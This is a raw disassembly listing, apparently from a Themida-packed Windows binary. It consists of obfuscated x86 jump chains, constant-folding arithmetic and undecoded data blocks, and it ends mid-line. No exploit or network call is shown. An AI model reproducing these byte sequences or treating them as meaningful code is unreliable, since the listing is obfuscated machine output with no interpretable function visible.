loc_54ADD4: ; CODE XREF: Themida_:00546646j xchg eax, [esp] mov esp, [esp] mov ebx, 0DD824386h add ebx, edi jmp loc_551A6D ; --------------------------------------------------------------------------- a_skk db '_骊',0 align 4 loc_54ADEC: ; CODE XREF: Themida_:00546A76j push dword ptr [esp] jmp loc_54F7CB ; --------------------------------------------------------------------------- dd 2474ED81h, 0CD0148C6h, 2474C581h, 0ED8148C6h, 0ACC562Fh dd 592434FFh, 0BFB5E951h, 34FF0000h, 24048B24h, 7FA168h dd 240C8900h, 711C68h, 48F5400h, 24048324h, 4B41E904h dd 0E9510000h, 0FFFFE3F4h ; --------------------------------------------------------------------------- loc_54AE38: ; CODE XREF: Themida_:0054F06Ej mov ecx, 26CC5145h jmp loc_557910 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 1328B951h, 4C2D2476h, 0E952784Eh, 0FFFFB513h dd 3166AD66h, 36866D8h, 3C896644h, 55665024h, 0FFBC35E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AE6D: ; CODE XREF: Themida_:005490B4j mov [esp], edx mov dh, 8Dh neg dh or dh, 9Eh sub esp, 2 mov [esp], cx jmp loc_542B27 ; --------------------------------------------------------------------------- aT_s_ db 'T_é_É',0 align 2 dw 0C529h dd 0D271E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AE92: ; CODE XREF: Themida_:005528A5j add esp, 4 shr ebx, 6 xor ebx, 34FD77B2h sub ebx, 0BE057B73h push esi push ebx pop esi jmp loc_5456DE ; --------------------------------------------------------------------------- loc_54AEAF: ; CODE XREF: Themida_:00550394j pop edi sub edi, esi mov esi, [esp] jmp loc_55549F ; --------------------------------------------------------------------------- loc_54AEBA: ; CODE XREF: Themida_:0055617Fj mov eax, [esp] add esp, 4 xor eax, 3B72539h push esi mov esi, 5F044F6Fh sub esi, 0F002EF43h add eax, esi pop esi shl eax, 8 add eax, 0FE19B445h mov ebp, eax push dword ptr [esp] push dword ptr [esp] jmp loc_5531B3 ; --------------------------------------------------------------------------- db 81h, 0E6h, 33h dd 81736823h, 4E3C3AE6h, 4E6C171h, 0E9E38953h, 5831h ; --------------------------------------------------------------------------- loc_54AF00: ; CODE XREF: Themida_:005557F1j mov [esp], ebp push edx jmp loc_556A8F ; --------------------------------------------------------------------------- loc_54AF09: ; CODE XREF: Themida_:005522E9j push 55AC17B4h pop esi push ebx mov ebx, 21C84411h xor esi, ebx pop ebx jmp loc_5507E1 ; --------------------------------------------------------------------------- db 0BEh, 0FFh, 78h dd 0E3E94D30h, 1FFFFC4h, 5F43E9D3h, 3C890000h, 3C79BF24h dd 0E7C16931h, 7AA3E902h, 9468FFFFh, 89000040h, 0E189240Ch dd 4C181h, 0C1810000h, 4, 8B240C87h, 94682424h, 8900004Dh dd 0BCBF243Ch, 0E967C476h, 0FFFFAFC3h ; --------------------------------------------------------------------------- loc_54AF6C: ; CODE XREF: Themida_:0054F7CFj add esp, 4 sub esp, 4 mov [esp], esi jmp loc_54DA91 ; --------------------------------------------------------------------------- loc_54AF80: ; CODE XREF: Themida_:00550BA7j mov ebp, 4 jmp loc_552B9D ; --------------------------------------------------------------------------- dw 0C529h dd 8324048Bh, 0A6E904C4h, 4D00001Eh, 8102EDC1h, 68202CF5h dd 0ED81455Fh, 2936AA8Ah, 24348155h, 0F783640h, 7F80E95Fh dd 8B66FFFFh db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55245B ; --------------------------------------------------------------------------- dw 0C581h dd 0C7706E7h, 56E8ED81h, 0FD01177Fh, 56E8C581h, 0B951177Fh dd 70E32112h, 0A6EBE9h, 42A6800h, 24890000h, 24048324h dd 0C2815A04h, 4, 0E904EA83h, 84DAh ; --------------------------------------------------------------------------- loc_54AFFC: ; CODE XREF: Themida_:00552DC5j add esp, 4 jmp loc_5437A1 ; --------------------------------------------------------------------------- dd 0B8214FBFh, 81E7D164h, 70429AF7h, 0E9FD89C9h, 0FFFFB1D2h dd 0E9241489h, 4222h, 49524EBEh, 4CF6811Eh, 891E4952h dd 0C5815EF3h, 7F84040Ch, 0E957DD29h, 0FFFF8E25h, 50E8E95Ah dd 0EC830000h, 47A5E904h, 0D8000000h, 0D044004h, 5B665B66h dd 0B60FC330h, 8734FFC0h, 0FF76ABE9h, 48F54FFh, 0F452E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B06A: ; CODE XREF: Themida_:0054460Cj xor ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_54C046 ; --------------------------------------------------------------------------- dd 52E9FE31h, 0F700007Ch, 96CA81D2h, 0F7041F4Ah, 0C341E9D2h dd 0C481FFFFh, 4, 8107EBC1h, 0D6CB9AC3h, 0E9D80122h, 0A805h dd 2EA5E181h, 52E9774Ch, 87FFFFC7h, 0F5E92434h, 87FFFFAFh dd 895C2404h, 31B9240Ch, 514C203Eh, 0FF88E2E9h, 246C29FFh dd 815A5D04h, 0C00309C2h, 3C8B5801h, 54A6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B0DE: ; CODE XREF: Themida_:005489D7j add dl, al pop eax jmp loc_54D018 ; --------------------------------------------------------------------------- dw 0DDBEh dd 293C7665h, 0C2815EF2h, 106A1540h, 0FFE2D0E9h, 4EF83FFh dd 5C243C87h, 54240C89h, 68240C8Bh, 6A5Ah, 89241489h, 86E953E2h dd 2D00000Fh, 3BFA27B4h, 0B405E801h, 0E93BFA27h, 0FFFFBCBEh dd 405h, 4BA5200h, 1000000h, 370FE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B13A: ; CODE XREF: Themida_:00543976j sub ebp, edi jmp loc_5438C9 ; --------------------------------------------------------------------------- loc_54B141: ; CODE XREF: Themida_:00550572j pop ebx add esp, 4 push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 jmp loc_54B676 ; --------------------------------------------------------------------------- db 0F7h dd 0D0B6E9DBh, 30ACFFFFh, 0C554E9D8h, 0DA210000h, 2C83525Bh dd 815AFF24h, 14420F2h, 80C18100h, 0E93F4E2Fh, 0FFFFB993h dd 0F7814F4Fh, 2A307317h, 835FF801h, 48704E8h, 2C895C24h dd 6D67BD24h, 0E58141DAh, 54D7602Dh, 0FFE42FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1A5: ; CODE XREF: Themida_:0054C4C5j push dword ptr [esp] pop eax jmp loc_555A5E ; --------------------------------------------------------------------------- loc_54B1AE: ; CODE XREF: Themida_:00550D8Ej mov edi, [esp] add esp, 4 shl ebp, 4 sub esp, 4 mov [esp], edi mov edi, 498707E0h neg edi or edi, 6FE5081h add edi, 130132E9h not edi jmp loc_544E86 ; --------------------------------------------------------------------------- db 0BAh, 5Eh, 5Dh dd 0DAF738B3h, 5DB1E9h, 4EC8100h, 89000000h, 0A1E9241Ch dd 51FFFF88h, 62FAB850h, 0D22D4F0Dh, 89154357h, 319158C1h dd 0AED2E9C8h, 32FF0000h, 0FF74F7E9h, 0B2E68FFh, 3C8B40FAh dd 4C48124h, 68000000h, 7747h, 0BB241C89h, 719D41B9h, 0FF84F0E9h dd 0EBD14BFFh, 0A3F38143h, 291DBEE0h, 0F8E95BDDh, 8000035h dd 0E98058C1h, 0B6525015h, 0F6D6F644h, 834AE9DEh, 0F22DFFFFh dd 89FDD1D2h, 0DAF758C2h, 0F281E2D1h, 2823EA6Ah, 96E9D709h dd 89000032h, 0C200E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B27A: ; CODE XREF: Themida_:00550010j and ch, bl pop ebx jmp loc_5461CE ; --------------------------------------------------------------------------- dw 85E9h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B287: ; CODE XREF: Themida_:005449AEj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ecx, 61B55CB4h add ecx, edi add ecx, 61B55CB4h jmp loc_55069D ; --------------------------------------------------------------------------- loc_54B2A9: ; CODE XREF: Themida_:005431A0j add edx, edi pop edi xor eax, edx push dword ptr [esp] jmp loc_551544 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 8FFEE9h, 54EB8100h, 1691D31h, 53515BD8h dd 99F95ABBh, 5BD98936h, 5A1A68h, 243C8900h, 0A1D8E9h dd 240C8900h, 0FF7423E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B2E9: ; CODE XREF: Themida_:0054A8C9j inc edi jmp loc_544855 ; --------------------------------------------------------------------------- loc_54B2EF: ; CODE XREF: Themida_:0054ECECj xor ebx, 64B5451Ch jmp loc_548121 ; --------------------------------------------------------------------------- dw 0E929h dd 0E9242C8Bh, 0FFFFA480h, 240C8B66h, 83E08950h, 0ACE904ECh dd 5A000096h, 5B53C581h, 0F5017340h, 5B53ED81h, 575E7340h dd 4349E951h, 87680000h, 8900001Bh, 74FF2414h, 0FEE90424h db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B33B: ; CODE XREF: Themida_:00551387j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_542FCD ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFEC6Fh ; --------------------------------------------------------------------------- loc_54B360: ; CODE XREF: Themida_:00545B6Ej xchg edi, [esp] pop esp mov [esp], ecx jmp loc_551732 ; --------------------------------------------------------------------------- dd 3504C483h, 0E11F5FF1h, 158C329h, 2A1AE9C3h, 58520000h dd 97E9525Ah, 8100001Ah, 0E02B1BC1h, 242C8B67h, 0C59CE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B396: ; CODE XREF: Themida_:0054E1C9j xchg esi, [esp] mov esp, [esp] xor ecx, ebp xor ebp, ecx xor ecx, ebp not ebp xor ecx, ebp jmp loc_556CCB ; --------------------------------------------------------------------------- db 81h dd 320EDAE3h, 6E3C15Dh, 235FE9h, 0FE95700h db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B3BF: ; CODE XREF: Themida_:00554783j sub esi, 4 jmp loc_545A55 ; --------------------------------------------------------------------------- loc_54B3CA: ; CODE XREF: Themida_:0054F6FFj mov ch, 80h jmp loc_54F2B3 ; --------------------------------------------------------------------------- db 88h, 0EAh, 8Bh dd 0F0E9240Ch, 8B000006h, 14872424h, 24248B24h, 1E4E9h db 0 ; --------------------------------------------------------------------------- loc_54B3E9: ; CODE XREF: Themida_:0054FD37j sub dword ptr [esp+8], 3D6F5A81h jmp loc_54C342 ; --------------------------------------------------------------------------- loc_54B3F6: ; CODE XREF: Themida_:00545A62j add esp, 2 push dx mov dh, 47h add bl, dh mov dx, [esp] add esp, 2 jmp loc_543126 ; --------------------------------------------------------------------------- loc_54B411: ; CODE XREF: Themida_:005509CCj pop edi jmp loc_54E9C2 ; --------------------------------------------------------------------------- db 55h dd 211641BDh, 0E9EF2119h, 8A4h, 8B24048Fh, 2C892424h, 56E58924h dd 1657BA52h, 0CA8135F4h, 0D586BDBh, 732EA81h, 0BBE9E1E0h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B447: ; CODE XREF: Themida_:00553538j pop esp jmp loc_5469DD ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 7A5Bh ; --------------------------------------------------------------------------- loc_54B458: ; CODE XREF: Themida_:00545AB0j add dword ptr [esp+4], 6A2F4E64h add [esp+4], ebx sub esp, 4 mov [esp], eax mov eax, 6A2F4E64h sub [esp+8], eax jmp loc_54EF2D ; --------------------------------------------------------------------------- db 2Dh dd 0E8B7DE1h, 158C201h, 0F0EA81F2h, 81334D38h, 8775C6EAh dd 0F2815E4Bh, 7BB0287Ch, 0FFE4DDE9h, 352268FFh, 14890000h dd 2DF5E924h, 0D1F60000h, 80F0C180h, 9E97FEFh, 68000081h dd 70A65416h, 8124048Bh, 4C4h, 0D4E94800h, 680000A0h, 7DF3h dd 8455E9h, 0BE565000h, 7BCD549Eh, 295EF089h, 8B082444h dd 0C4832404h, 242C8B04h, 2813E9h db 0 ; --------------------------------------------------------------------------- loc_54B4F1: ; CODE XREF: Themida_:0054A2AAj xor eax, 1F144E0Ah add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] jmp loc_54CC56 ; --------------------------------------------------------------------------- loc_54B504: ; CODE XREF: Themida_:00551ED6j add ebx, 0F0CD08B1h add eax, ebx jmp loc_554D3F ; --------------------------------------------------------------------------- db 31h, 0F2h, 31h dd 56D2F7D6h, 0FFE471E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B51D: ; CODE XREF: Themida_:005531BAj sub esp, 4 jmp loc_556B3E ; --------------------------------------------------------------------------- aV_VsM db 'V_^VéÙŒ',0 dd 243C8900h, 0FF7AD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B539: ; CODE XREF: Themida_:0054A8F2j xor edx, [esp] pop esp xor edx, [esp] jmp loc_5560AA ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 34FF0000h, 89575B24h, 4C781E7h, 83000000h, 3C8704C7h dd 0AECCE924h, 0D428FFFFh, 5124148Bh, 0C181E189h, 4, 8704C183h dd 805C240Ch, 0DCF6DAE4h, 8042CC80h, 0E68806C4h, 8324048Bh dd 526604C4h, 0FFDF65E9h, 4C683FFh, 5C243487h, 74E9DFF7h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B5A3: ; CODE XREF: Themida_:0054FE1Bj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5437BB ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 0E9000000h, 904Fh ; --------------------------------------------------------------------------- loc_54B5BC: ; CODE XREF: Themida_:0054B6EDj push esi mov esi, 670A11E2h or esi, 5449599Ah jmp loc_552CED ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 1C066824h, 2C890000h, 0B4D8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B5DE: ; CODE XREF: Themida_:00549696j pop esp jmp loc_554D37 ; --------------------------------------------------------------------------- loc_54B5E4: ; CODE XREF: Themida_:00550B92j pop ebx dec edi add edi, 6BA21D5Fh add ecx, edi pop edi xchg ecx, [esp] mov esp, [esp] jmp loc_54E645 ; --------------------------------------------------------------------------- dw 0D0F7h dd 71AA2735h, 58C629FBh, 52FBF681h, 8146171Dh, 79F49BC6h dd 4EC8184h, 89000000h, 0F189240Ch, 5E59C889h, 510EC381h dd 0C3013CCFh, 510EEB81h, 17E93CCFh db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B633: ; CODE XREF: Themida_:005528AFj or eax, 283B7E3Eh not eax xor eax, 87008044h add esi, eax pop eax jmp loc_544A7A ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 14C58104h, 0E9248E00h, 0B2A9h, 0A12253BAh dd 59CA0167h, 0CCFEBE56h, 8BE98A52h, 8F000028h, 248B2404h dd 56BCE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B676: ; CODE XREF: Themida_:0054B152j add ebx, 4 xchg ebx, [esp] pop esp push 1FB2h mov [esp], ebx jmp loc_556426 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 2BEh, 0D256E900h, 0D2F7FFFFh, 0FFC3A7E9h, 51AFBEFFh dd 0B2684CA8h, 89000002h, 23B82404h, 1423C62h, 0F68158C6h dd 0AD55ACAh, 771EE81h, 0EE812AAAh, 6E35BB0h, 1A03BF57h dd 94E96916h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6D3: ; CODE XREF: Themida_:0055224Bj mov edi, [esp] add esp, 4 add edx, eax sub edx, 6A8A585Eh sub edx, 3E122E9Ch push ebx mov ebx, 52215572h jmp loc_54B5BC ; --------------------------------------------------------------------------- loc_54B6F2: ; CODE XREF: Themida_:005570F4j pop eax add ebx, 0F5D991E4h push ebx pop esi mov ebx, [esp] jmp loc_54FB59 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5BC66800h, 55E90000h, 5A00009Dh, 2474FF57h, 48F5F04h dd 0EC76E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B722: ; CODE XREF: Themida_:0054C3A6j pop ecx sub esp, 4 jmp loc_553111 ; --------------------------------------------------------------------------- dw 815Bh dd 4C4h, 4C48300h, 0FFAE40E9h, 240487FFh, 243C895Ch, 1C13E9h db 0 ; --------------------------------------------------------------------------- loc_54B749: ; CODE XREF: Themida_:00553E45j mov eax, 75127CA5h jmp loc_548046 ; --------------------------------------------------------------------------- db 1 aXSxz db 'ÆX]éåz',0 align 4 dd 4C6835Dh, 36D1E9h, 20E66800h, 1FE917BCh, 89000066h dd 34FF2404h, 2434FF24h, 0E789575Bh, 4C781h, 0C7810000h dd 4, 31243C33h, 3C33243Ch, 24248B24h, 4EC81h, 1C890000h dd 81E38924h, 4C3h, 42196800h, 7FE90000h, 0FFFFFF7h, 9C68C8BFh dd 0E900001Dh, 0FFFFFB25h ; --------------------------------------------------------------------------- loc_54B7BC: ; CODE XREF: Themida_:005516C3j add ebp, edi jmp loc_551A16 ; --------------------------------------------------------------------------- loc_54B7C3: ; CODE XREF: Themida_:0054DA94j mov [esp], esp add dword ptr [esp], 4 pop esi push ebp mov ebp, 1FAE0DD1h inc ebp shl ebp, 8 not ebp jmp loc_555106 ; --------------------------------------------------------------------------- loc_54B7DF: ; CODE XREF: Themida_:0054FAF5j xor ecx, [esp] xor [esp], ecx jmp loc_553E63 ; --------------------------------------------------------------------------- dw 7DB7h dd 0F9284EB1h, 0F1B4505Bh, 0F624E480h, 37A2E9D4h, 0E9520000h dd 0B04Fh ; --------------------------------------------------------------------------- loc_54B804: ; CODE XREF: Themida_:00550CB2j xor edi, ebp jmp loc_54E4F7 ; --------------------------------------------------------------------------- db 1 dd 240C8BCAh, 9C38E9h, 2434FF00h, 4C48358h, 32F9C181h dd 0F18158B8h, 77F87632h, 0FFCFA3E9h, 48F5AFFh, 89535C24h dd 4B850E3h, 81000000h, 0F77D7CC3h, 50C3013Dh, 0FFB30DE9h dd 4C483FFh, 0FFFC7AE9h, 24148BFFh, 8304C483h, 0EC8302C6h dd 24348904h, 42474FFh, 8324348Bh, 48F04C4h, 24248B24h dd 68F9F766h, 2B70h, 89240489h, 405E0h, 42D0000h, 50000000h dd 1F19E9h db 0 ; --------------------------------------------------------------------------- loc_54B88D: ; CODE XREF: Themida_:0055188Fj add al, cl mov ecx, [esp] add esp, 4 add bl, al pop eax jmp loc_54F59C ; --------------------------------------------------------------------------- loc_54B89D: ; CODE XREF: Themida_:00551291j mov eax, esi push dword ptr [esp] pop esi push 58C0h mov [esp], edx push esp pop edx jmp loc_54A030 ; --------------------------------------------------------------------------- dw 0E7C1h dd 0D3C78107h, 0E97BFA71h, 0FFFFE74Fh, 0E95EF031h, 0FFFFE69Dh dd 0E6895659h, 4C681h, 0C6830000h, 24348704h, 0E951555Ch dd 8DBAh, 31240433h, 9CE92404h, 8BFFFFD7h, 0C4832434h dd 0E930FF04h, 0FFFF6E14h, 0E9FFC380h, 4BABh ; --------------------------------------------------------------------------- loc_54B900: ; CODE XREF: Themida_:0054C2B3j sub ebp, 0EC4F5B6Bh push ebx mov ebx, 39FB5FD9h add edx, ebx pop ebx add edx, 2D667654h add edx, ebp sub edx, 2D667654h jmp loc_551E26 ; --------------------------------------------------------------------------- dw 0BA52h dd 461232F3h, 148BD301h, 4C48324h, 4EC81h, 1C890000h, 24348124h dd 53FF58CEh, 5BC0E9h, 2434FF00h, 0E92434FFh, 0FFFFAC3Ch dd 4BB535Bh, 1000000h, 0C335BD9h, 240C3124h, 5C240C33h dd 76A668h, 24048900h, 11C7E9h, 0EC81AD00h, 4, 0BB241C89h dd 341736BDh, 305EC381h, 0F3814C5Bh, 751D1149h, 70FCB850h dd 0C30948FCh, 0FF8F12E9h, 0B9E952FFh db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B99F: ; CODE XREF: Themida_:00552BBEj mov edi, [esp] add esp, 4 push 0AB3h mov [esp], eax mov eax, 0C481DC8h shl eax, 8 xor eax, 19CF40D1h jmp loc_551DD2 ; --------------------------------------------------------------------------- dw 0EF81h dd 4575DE9h, 48E9DF01h, 900007Eh, 0CBE95EF5h, 31000092h dd 1C33241Ch, 241C3124h, 4C5CE9h, 4C48100h, 56000000h dd 0E97A93BEh, 8BF5012Ah, 0C4832434h, 90C58104h, 817E6426h dd 9D6E86C5h, 81C5013Eh, 9D6E86EDh, 90ED813Eh, 817E6426h dd 0E97A93EDh, 0BE9582Ah, 81000061h, 71496AC7h, 2434FF1Ch dd 0FFB8C9E9h, 815954FFh, 4C1h, 4C18300h, 31240C33h, 0C33240Ch dd 262C5C24h, 2604E828h, 0FFC499E9h, 4EC83FFh, 68242C89h dd 38B5658Eh, 81242C8Bh, 4C4h, 0C1DDF700h, 555204E5h, 663B51BDh dd 0B205BA40h, 44E9A3B1h, 5A0000AFh, 0A353C281h, 0D589C519h dd 19EF815Ah, 121875Eh, 19C781EFh, 5D21875Eh, 2474FF57h dd 8290E904h, 0DD88FFFFh, 122C5A5Bh, 0FFF0F6E9h, 81E289FFh dd 4C2h, 4EC8300h, 0FF6E96E9h, 2CDBBFFh, 0EBC17228h, 3EEB8102h dd 9D5A283h, 7FE95BDEh, 81000083h, 4C4h, 241C8B00h, 4C481h dd 4CE90000h, 0BE000088h, 69C93534h, 7C30E681h, 0EE815C1Dh dd 4DB27895h, 59E1E681h, 0DE876FB9h, 0E0E9D3F7h, 50FFFFA1h dd 837EFDB8h, 40D0F728h, 0E907E0C1h, 0FFFF8F9Ch, 0A84837BEh dd 1C7CE90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB1A: ; CODE XREF: Themida_:00556B43j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 16Eh mov [esp], esi push 4572h mov [esp], edx mov edx, 58993865h push ebp mov ebp, edx jmp loc_54A521 ; --------------------------------------------------------------------------- db 0B9h, 35h, 80h dd 0CF018010h, 8CE98159h, 1735C37h, 0E7EDE9F9h, 1C89FFFFh dd 7711BB24h, 0EBC148D6h, 8EBC105h, 68h, 241C2900h, 54F3815Bh dd 81441A6Bh, 0D9A483EBh, 5BD98988h, 34FFCD21h, 0C4815924h dd 4, 8102EDC1h, 430961F5h, 0E9E9010Ch, 0FFFFBB58h, 88E78853h dd 88585BF9h, 5C8A59CEh, 74880224h, 5A660224h, 0FFE9C8E9h dd 58C221FFh, 6EB9EA81h, 18E9C495h, 89000025h, 26E92404h db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BBCF: ; CODE XREF: Themida_:00545AC2j mov [esp], esi mov esi, 33E055CCh push eax mov eax, 473713A5h add eax, 229167F2h or esi, eax jmp loc_552916 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 8924248Bh, 0FDE92404h, 5AFFFFC7h, 1BE9D1F6h, 1FFFFA1h dd 21ED81F5h, 5E00271Ch, 25BEE581h, 685135B1h, 72AEh, 0E9243489h dd 51F7h, 7CEBED81h, 45450078h, 0E5C1DDF7h, 0DED8106h dd 0E967DC74h, 0FFFF8D94h, 7EB4BE56h, 0DEF76DDFh, 14C4E94Eh dd 4890000h, 9BF6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BC4A: ; CODE XREF: Themida_:0054CC3Cj mov ebx, edx mov edx, [esp] add esp, 4 jmp loc_545CF3 ; --------------------------------------------------------------------------- db 31h dd 0F6B5E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC5E: ; CODE XREF: Themida_:00542D04j push ebx mov ebx, esp jmp loc_550FAD ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 8B241C33h, 66642424h, 91E90289h, 51FFFF6Ah dd 0FFBA09E9h, 6726B8FFh, 0C5095110h, 0FFF9BAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BC8D: ; CODE XREF: Themida_:00544C5Fj pop eax and ebx, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_547BDE ; --------------------------------------------------------------------------- dd 0A82CD828h, 0E389535Bh, 4C381h, 0EB810000h, 4, 0FF8045E9h dd 0E95F58FFh, 0FFFFEA04h, 96F4E95Dh, 0EC81FFFFh, 4, 0E9243C89h dd 0FFFFDE15h ; --------------------------------------------------------------------------- loc_54BCDC: ; CODE XREF: Themida_:0054F4F5j push ecx mov ecx, esp add ecx, 4 jmp loc_557275 ; --------------------------------------------------------------------------- loc_54BCEA: ; CODE XREF: Themida_:005457BAj mov [esp], esp jmp loc_557323 ; --------------------------------------------------------------------------- dw 8142h dd 0CE2F2DCAh, 3BEA8112h, 8128AC66h, 0BD7712C2h, 8BD001F5h dd 89532414h, 4C381E3h, 57000000h, 0B37F35BFh, 8DE7814Bh dd 8150A658h, 5DA7FFC7h, 5FFB01BFh, 5C241C87h, 168D68h dd 240C8900h, 4424E8B9h, 1E98145h, 411F726Ah, 66F1E181h dd 0D9F73FDAh, 0DA43F181h, 0E950BEB5h, 0B099h, 4C38159h dd 87000000h, 248B241Ch, 69A6E924h, 8B66FFFFh, 0E956240Ch dd 478Dh, 59CB285Bh, 0C0B60F58h, 24148B66h, 575068h, 993EE900h dd 89510000h, 4C181E1h, 68000000h, 11E3h, 0BA241489h, 4 dd 148BD129h, 4C48124h, 87000000h, 248B240Ch, 3CB0E924h dd 78B80000h, 0E9715F3Eh, 87D3h ; --------------------------------------------------------------------------- loc_54BDBC: ; CODE XREF: Themida_:00550777j mov ebx, esp add ebx, 4 push ebp mov ebp, 4 sub ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_5531BF ; --------------------------------------------------------------------------- dd 0E9241C89h, 46F3h, 0B9FFE958h, 0DE9FFFFh db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDFF: ; CODE XREF: Themida_:00557B26j mov [esp], ecx mov ecx, 0E849F603h jmp loc_54FFB8 ; --------------------------------------------------------------------------- dd 0E95BDD29h, 4119h ; --------------------------------------------------------------------------- loc_54BE14: ; CODE XREF: Themida_:0054F8FDj sub edi, 6C0B1BFEh jmp loc_5521E5 ; --------------------------------------------------------------------------- loc_54BE1F: ; CODE XREF: Themida_:00544159j push ebx push 4 pop ebx jmp loc_545138 ; --------------------------------------------------------------------------- db 1 dd 13E959CBh db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE33: ; CODE XREF: Themida_:0054E21Bj add edi, esi sub edi, 46AD5DE9h pop esi push eax push 610Eh jmp loc_557A98 ; --------------------------------------------------------------------------- loc_54BE47: ; CODE XREF: Themida_:00552F9Dj xchg ebx, [esp] jmp loc_551C0B ; --------------------------------------------------------------------------- aYsie db 'Y鉅',0 db 0 ; --------------------------------------------------------------------------- loc_54BE55: ; CODE XREF: Themida_:00543D58j add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 jmp loc_54CB60 ; --------------------------------------------------------------------------- loc_54BE6D: ; CODE XREF: Themida_:00542720j sub ebp, 0FFFFFFFFh shl ebp, 1 shr ebp, 3 push edx mov edx, 41A42A8Eh jmp loc_543F09 ; --------------------------------------------------------------------------- dd 0EB81EB01h, 78580FB8h, 83242C8Bh, 0EC8304C4h, 0A723E904h dd 8C25FFFFh, 407BE519h, 41192D35h, 58C38968h, 1DA0C681h dd 0DE010B33h, 374C68h, 243C8900h, 331DA0BFh, 7B75E90Bh dd 0C100FFFFh, 80D10058h, 148BB8E9h, 4C48124h, 53000000h dd 0E3C0C8B3h, 32B45003h, 0EC80C4FEh, 58E330D9h, 1C8BD900h dd 4C48124h, 0E9000000h, 68F9h, 8B91E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BEF6: ; CODE XREF: Themida_:0054DE27j add esi, 64324308h pop ecx add esi, 0B59FE362h sub eax, 9C570F6h jmp loc_5531A7 ; --------------------------------------------------------------------------- loc_54BF0D: ; CODE XREF: Themida_:0054D938j pop esi pop esi add esi, 4 push edx mov edx, 4 sub esi, 0AFC2DF3h add esi, edx add esi, 0AFC2DF3h mov edx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_5488B9 ; --------------------------------------------------------------------------- aISsD db 'ˆÐS鵤',0 dw 8100h dd 9A1AD3C3h, 81F30158h, 9A1AD3EBh, 0C38158h, 0FF08CC41h dd 815E2434h, 4C4h, 5ED6800h, 1C890000h, 2474FF24h, 3E21E904h dd 85680000h, 89000026h, 2BA2414h, 89000000h, 0BA25E9D7h dd 34FFFFFFh, 0B1FAE924h, 8B66FFFFh, 6852240Ch, 4FDAh dd 8904EC83h, 4EE92414h, 81FFFFECh, 540A6AC5h, 1C6F0906h dd 0FFAB85E9h, 0D2F75AFFh, 79E7E953h, 34FF0000h, 376CE924h dd 5E540000h, 4C681h, 31E90000h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BFCF: ; CODE XREF: Themida_:00552130j mov [esp], ebp mov ebp, 2 add ebx, 6DD15BB3h sub ebx, 48DA2429h add ebx, ebp add ebx, 48DA2429h sub esp, 4 mov [esp], eax mov eax, 554A312Fh neg eax shr eax, 6 shr eax, 7 push esi mov esi, 6DD40E1Dh xor eax, esi pop esi jmp loc_54CAA4 ; --------------------------------------------------------------------------- db 80h dd 0E80088C5h, 21B6859h, 1C890000h, 0D8E95124h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C023: ; CODE XREF: Themida_:005517BEj not eax push edx mov edx, 4912F5Ah add edx, 0B6FD6ABh sub eax, edx pop edx jmp loc_55409C ; --------------------------------------------------------------------------- db 2Dh, 